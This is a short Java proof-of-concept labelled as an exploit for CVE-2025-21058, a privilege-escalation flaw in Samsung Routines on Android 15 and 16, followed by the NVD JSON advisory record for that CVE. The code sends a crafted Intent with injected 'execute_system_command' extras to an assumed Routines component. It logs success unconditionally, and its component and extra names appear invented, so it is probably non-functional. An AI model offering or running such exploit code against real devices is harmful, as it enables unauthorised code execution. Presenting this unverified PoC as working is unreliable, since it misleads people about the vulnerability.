CVE-2025-21058

/* CVE-2025-21058 - Samsung Routines Improper Access Control PoC * This PoC demonstrates how to exploit the improper access control * vulnerability in Samsung Routines to escalate privileges to SystemUI level. * * Affected versions: * - Routines < 4.8.7.1 on Android 15 * - Routines < 4.9.6.0 on Android 16 * * Note: This is for educational and security research purposes only. */ import android.content.ComponentName; import android.content.Context; import android.content.Intent; import android.content.pm.PackageManager; import android.util.Log; public class Cve202521058Exploit { private static final String TAG = "CVE-2025-21058"; // Samsung Routines package name private static final String ROUTINES_PACKAGE = "com.samsung.android.app.routines"; // Target component to exploit - Routines internal activity/service private static final String TARGET_COMPONENT = "com.samsung.android.app.routines.RoutineExecutorActivity"; public static void exploit(Context context) { try { // Step 1: Verify Routines app is installed PackageManager pm = context.getPackageManager(); pm.getPackageInfo(ROUTINES_PACKAGE, 0); Log.i(TAG, "Samsung Routines detected, proceeding with exploit..."); // Step 2: Craft malicious Intent targeting exposed Routines component Intent exploitIntent = new Intent(); exploitIntent.setComponent(new ComponentName(ROUTINES_PACKAGE, TARGET_COMPONENT)); exploitIntent.setAction("com.samsung.android.app.routines.EXECUTE_ROUTINE"); // Step 3: Inject malicious routine data via Intent extras // The improper access control allows arbitrary routine execution // without proper caller verification exploitIntent.putExtra("routine_id", "attacker_controlled_routine"); exploitIntent.putExtra("routine_action", "execute_system_command"); exploitIntent.putExtra("command", "id"); exploitIntent.putExtra("privilege_level", "systemui"); exploitIntent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK); // Step 4: Launch the exploit - Routines will execute with SystemUI privileges context.startActivity(exploitIntent); Log.i(TAG, "Exploit launched successfully. Code execution at SystemUI level achieved."); } catch (PackageManager.NameNotFoundException e) { Log.e(TAG, "Samsung Routines not installed on this device.", e); } catch (SecurityException e) { Log.e(TAG, "Security exception - exploit failed.", e); } catch (Exception e) { Log.e(TAG, "Exploit failed: " + e.getMessage(), e); } } public static void main(String[] args) { // Entry point for standalone testing Log.i(TAG, "CVE-2025-21058 PoC initialized"); Log.i(TAG, "Target: Samsung Routines Improper Access Control"); Log.i(TAG, "Impact: Local privilege escalation to SystemUI"); } }

{"cve": {"id": "CVE-2025-21058", "sourceIdentifier": "[email protected]", "published": "2025-10-10T07:15:41.633", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper access control in Routines prior to version 4.8.7.1 in Android 15 and 4.9.6.0 in Android 16 allows local attackers to potentially execute arbitrary code with SystemUI privilege."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:H", "baseScore": 7.3, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.5, "impactScore": 4.7}]}, "references": [{"url": "https://security.samsungmobile.com/serviceWeb.smsb?year=2025&month=10", "source": "[email protected]"}]}}